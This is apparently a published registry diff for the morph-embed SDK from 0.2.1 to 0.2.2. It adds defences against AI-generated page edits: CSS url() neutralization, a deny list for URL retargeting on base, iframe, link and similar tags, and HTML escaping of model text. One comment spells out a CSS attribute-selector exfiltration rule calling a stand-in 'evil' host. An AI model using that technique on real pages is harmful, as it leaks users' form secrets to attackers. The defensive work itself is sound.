morph-embed 0.2.1 → 0.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/morph-embed.esm.mjs +52 -6
- package/dist/morph-embed.js +52 -6
- package/package.json +1 -1
package/dist/morph-embed.esm.mjs
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
/*! Morph Embed SDK v0.2.
|
|
1
|
+
/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
|
|
2
2
|
const g = typeof window !== "undefined" ? window : globalThis;
|
|
3
3
|
|
|
4
4
|
/* ---- shared/dsl.js ---- */
|
|
@@ -77,6 +77,17 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
77
77
|
// URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
|
|
78
78
|
const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
|
|
79
79
|
|
|
80
|
+
// setAttr must never retarget the URL of these elements even to an https host:
|
|
81
|
+
// <base href> rewrites how every relative URL on the page resolves; <link>,
|
|
82
|
+
// <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
|
|
83
|
+
// rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
|
|
84
|
+
const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
|
|
85
|
+
// Cheap purely-static check: does a selector name one of those tags directly?
|
|
86
|
+
function selectorNamesBlockedTag(selector) {
|
|
87
|
+
const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
|
|
88
|
+
return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
|
|
89
|
+
}
|
|
90
|
+
|
|
80
91
|
// Modest length caps (DoS hygiene; generous enough not to clip real payloads).
|
|
81
92
|
const MAX_CSS = 200000;
|
|
82
93
|
const MAX_HTML = 200000;
|
|
@@ -120,6 +131,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
120
131
|
/behavior\s*:/.test(normalized) ||
|
|
121
132
|
/-moz-binding/.test(normalized) ||
|
|
122
133
|
/url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
|
|
134
|
+
// external url() (scheme or protocol-relative), except inline data:image —
|
|
135
|
+
// backstop for escape/comment-obfuscated exfil the token pass missed
|
|
136
|
+
/url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
|
|
123
137
|
/(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
|
|
124
138
|
);
|
|
125
139
|
}
|
|
@@ -146,6 +160,23 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
146
160
|
/url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
|
|
147
161
|
'url($1about:blank#)'
|
|
148
162
|
);
|
|
163
|
+
// EXTERNAL url() exfiltration channel: a model reshape must never fetch an
|
|
164
|
+
// off-page resource (the product is reshape-only, on-page data only). An
|
|
165
|
+
// attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
|
|
166
|
+
// leaks page secrets to an attacker host with zero interaction. Neutralize
|
|
167
|
+
// any url() whose target is absolute (has a scheme) or protocol-relative
|
|
168
|
+
// (//host), EXCEPT data:image/* (inline, no network). Relative paths
|
|
169
|
+
// (same-origin, can't exfiltrate cross-origin) are preserved.
|
|
170
|
+
out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
|
|
171
|
+
const target = String(inner)
|
|
172
|
+
.replace(/\/\*[\s\S]*?\*\//g, '') // comments
|
|
173
|
+
.trim()
|
|
174
|
+
.replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
|
|
175
|
+
.trim();
|
|
176
|
+
if (/^data:image\//i.test(target)) return full; // inline image OK
|
|
177
|
+
if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
|
|
178
|
+
return full; // relative -> OK
|
|
179
|
+
});
|
|
149
180
|
// bare scheme prefixes inside the value (style attr context)
|
|
150
181
|
if (mode === 'style') {
|
|
151
182
|
out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
|
|
@@ -381,6 +412,11 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
381
412
|
const n = normalizeAttrName(op.name);
|
|
382
413
|
if (n.startsWith('on')) return 'event-handler attr blocked';
|
|
383
414
|
if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
|
|
415
|
+
// Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
|
|
416
|
+
// to https — because that loads external content or reroutes the page.
|
|
417
|
+
if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
|
|
418
|
+
return 'url retarget on ' + n + ' blocked for framing/base/link targets';
|
|
419
|
+
}
|
|
384
420
|
}
|
|
385
421
|
// renderData: chart type + position must be from the fixed sets. The op has
|
|
386
422
|
// two forms; either way the actual numbers come from caller-attached data at
|
|
@@ -651,8 +687,13 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
651
687
|
return () => els.forEach((el, i) => { el.textContent = prev[i]; });
|
|
652
688
|
}
|
|
653
689
|
case 'setAttr': {
|
|
654
|
-
|
|
690
|
+
let els = resolveEls(doc, op);
|
|
655
691
|
if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
|
|
692
|
+
// Airtight, selector-independent backstop: never write a URL attribute
|
|
693
|
+
// onto a framing/base/link element regardless of how it was matched.
|
|
694
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
695
|
+
els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
696
|
+
}
|
|
656
697
|
if (!els.length) return null;
|
|
657
698
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
658
699
|
els.forEach((el) => el.setAttribute(op.name, op.value));
|
|
@@ -910,7 +951,10 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
910
951
|
}
|
|
911
952
|
case 'setAttr': {
|
|
912
953
|
if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
|
|
913
|
-
|
|
954
|
+
let els = unmarked(doc, op.selector, token);
|
|
955
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
956
|
+
els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
957
|
+
}
|
|
914
958
|
if (!els.length) return { touched: 0 };
|
|
915
959
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
916
960
|
els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
|
|
@@ -2924,7 +2968,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
2924
2968
|
() => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
|
|
2925
2969
|
(e) => {
|
|
2926
2970
|
const msg = String((e && e.message) || e);
|
|
2927
|
-
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2971
|
+
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2928
2972
|
}
|
|
2929
2973
|
);
|
|
2930
2974
|
}
|
|
@@ -3019,7 +3063,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
3019
3063
|
resp = await r.json();
|
|
3020
3064
|
} catch (e) {
|
|
3021
3065
|
clearStages();
|
|
3022
|
-
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
|
|
3066
|
+
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
|
|
3023
3067
|
return;
|
|
3024
3068
|
}
|
|
3025
3069
|
clearStages();
|
|
@@ -3048,7 +3092,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
|
|
|
3048
3092
|
const edit = await store.appendEdit(pathKey(), anchored, { prompt });
|
|
3049
3093
|
const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
|
|
3050
3094
|
const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
|
|
3051
|
-
|
|
3095
|
+
// setStatus renders TRUSTED HTML (innerHTML) — escape the model's
|
|
3096
|
+
// free-text explanation, exactly as the extension does (content.js).
|
|
3097
|
+
bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
|
|
3052
3098
|
bar.showActions(true);
|
|
3053
3099
|
try { bar.clearInput(); } catch (_) { /* noop */ }
|
|
3054
3100
|
await refreshCount();
|
package/dist/morph-embed.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
/*! Morph Embed SDK v0.2.
|
|
1
|
+
/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
|
|
2
2
|
|
|
3
3
|
/* ---- shared/dsl.js ---- */
|
|
4
4
|
/*
|
|
@@ -76,6 +76,17 @@
|
|
|
76
76
|
// URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
|
|
77
77
|
const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
|
|
78
78
|
|
|
79
|
+
// setAttr must never retarget the URL of these elements even to an https host:
|
|
80
|
+
// <base href> rewrites how every relative URL on the page resolves; <link>,
|
|
81
|
+
// <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
|
|
82
|
+
// rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
|
|
83
|
+
const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
|
|
84
|
+
// Cheap purely-static check: does a selector name one of those tags directly?
|
|
85
|
+
function selectorNamesBlockedTag(selector) {
|
|
86
|
+
const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
|
|
87
|
+
return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
|
|
88
|
+
}
|
|
89
|
+
|
|
79
90
|
// Modest length caps (DoS hygiene; generous enough not to clip real payloads).
|
|
80
91
|
const MAX_CSS = 200000;
|
|
81
92
|
const MAX_HTML = 200000;
|
|
@@ -119,6 +130,9 @@
|
|
|
119
130
|
/behavior\s*:/.test(normalized) ||
|
|
120
131
|
/-moz-binding/.test(normalized) ||
|
|
121
132
|
/url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
|
|
133
|
+
// external url() (scheme or protocol-relative), except inline data:image —
|
|
134
|
+
// backstop for escape/comment-obfuscated exfil the token pass missed
|
|
135
|
+
/url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
|
|
122
136
|
/(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
|
|
123
137
|
);
|
|
124
138
|
}
|
|
@@ -145,6 +159,23 @@
|
|
|
145
159
|
/url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
|
|
146
160
|
'url($1about:blank#)'
|
|
147
161
|
);
|
|
162
|
+
// EXTERNAL url() exfiltration channel: a model reshape must never fetch an
|
|
163
|
+
// off-page resource (the product is reshape-only, on-page data only). An
|
|
164
|
+
// attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
|
|
165
|
+
// leaks page secrets to an attacker host with zero interaction. Neutralize
|
|
166
|
+
// any url() whose target is absolute (has a scheme) or protocol-relative
|
|
167
|
+
// (//host), EXCEPT data:image/* (inline, no network). Relative paths
|
|
168
|
+
// (same-origin, can't exfiltrate cross-origin) are preserved.
|
|
169
|
+
out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
|
|
170
|
+
const target = String(inner)
|
|
171
|
+
.replace(/\/\*[\s\S]*?\*\//g, '') // comments
|
|
172
|
+
.trim()
|
|
173
|
+
.replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
|
|
174
|
+
.trim();
|
|
175
|
+
if (/^data:image\//i.test(target)) return full; // inline image OK
|
|
176
|
+
if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
|
|
177
|
+
return full; // relative -> OK
|
|
178
|
+
});
|
|
148
179
|
// bare scheme prefixes inside the value (style attr context)
|
|
149
180
|
if (mode === 'style') {
|
|
150
181
|
out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
|
|
@@ -380,6 +411,11 @@
|
|
|
380
411
|
const n = normalizeAttrName(op.name);
|
|
381
412
|
if (n.startsWith('on')) return 'event-handler attr blocked';
|
|
382
413
|
if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
|
|
414
|
+
// Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
|
|
415
|
+
// to https — because that loads external content or reroutes the page.
|
|
416
|
+
if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
|
|
417
|
+
return 'url retarget on ' + n + ' blocked for framing/base/link targets';
|
|
418
|
+
}
|
|
383
419
|
}
|
|
384
420
|
// renderData: chart type + position must be from the fixed sets. The op has
|
|
385
421
|
// two forms; either way the actual numbers come from caller-attached data at
|
|
@@ -650,8 +686,13 @@
|
|
|
650
686
|
return () => els.forEach((el, i) => { el.textContent = prev[i]; });
|
|
651
687
|
}
|
|
652
688
|
case 'setAttr': {
|
|
653
|
-
|
|
689
|
+
let els = resolveEls(doc, op);
|
|
654
690
|
if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
|
|
691
|
+
// Airtight, selector-independent backstop: never write a URL attribute
|
|
692
|
+
// onto a framing/base/link element regardless of how it was matched.
|
|
693
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
694
|
+
els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
695
|
+
}
|
|
655
696
|
if (!els.length) return null;
|
|
656
697
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
657
698
|
els.forEach((el) => el.setAttribute(op.name, op.value));
|
|
@@ -909,7 +950,10 @@
|
|
|
909
950
|
}
|
|
910
951
|
case 'setAttr': {
|
|
911
952
|
if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
|
|
912
|
-
|
|
953
|
+
let els = unmarked(doc, op.selector, token);
|
|
954
|
+
if (URL_ATTRS.has(normalizeAttrName(op.name))) {
|
|
955
|
+
els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
956
|
+
}
|
|
913
957
|
if (!els.length) return { touched: 0 };
|
|
914
958
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
915
959
|
els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
|
|
@@ -2923,7 +2967,7 @@
|
|
|
2923
2967
|
() => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
|
|
2924
2968
|
(e) => {
|
|
2925
2969
|
const msg = String((e && e.message) || e);
|
|
2926
|
-
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2970
|
+
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2927
2971
|
}
|
|
2928
2972
|
);
|
|
2929
2973
|
}
|
|
@@ -3018,7 +3062,7 @@
|
|
|
3018
3062
|
resp = await r.json();
|
|
3019
3063
|
} catch (e) {
|
|
3020
3064
|
clearStages();
|
|
3021
|
-
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
|
|
3065
|
+
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
|
|
3022
3066
|
return;
|
|
3023
3067
|
}
|
|
3024
3068
|
clearStages();
|
|
@@ -3047,7 +3091,9 @@
|
|
|
3047
3091
|
const edit = await store.appendEdit(pathKey(), anchored, { prompt });
|
|
3048
3092
|
const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
|
|
3049
3093
|
const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
|
|
3050
|
-
|
|
3094
|
+
// setStatus renders TRUSTED HTML (innerHTML) — escape the model's
|
|
3095
|
+
// free-text explanation, exactly as the extension does (content.js).
|
|
3096
|
+
bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
|
|
3051
3097
|
bar.showActions(true);
|
|
3052
3098
|
try { bar.clearInput(); } catch (_) { /* noop */ }
|
|
3053
3099
|
await refreshCount();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "morph-embed",
|
|
3
|
-
"version": "0.2.
|
|
3
|
+
"version": "0.2.2",
|
|
4
4
|
"description": "Embed a prompt bar in your product so users can generate the features you haven't built — real-data widgets, layout reshapes, and confirm-gated actions. Declarative-DSL security model; your data never leaves the page.",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"main": "dist/morph-embed.esm.mjs",
|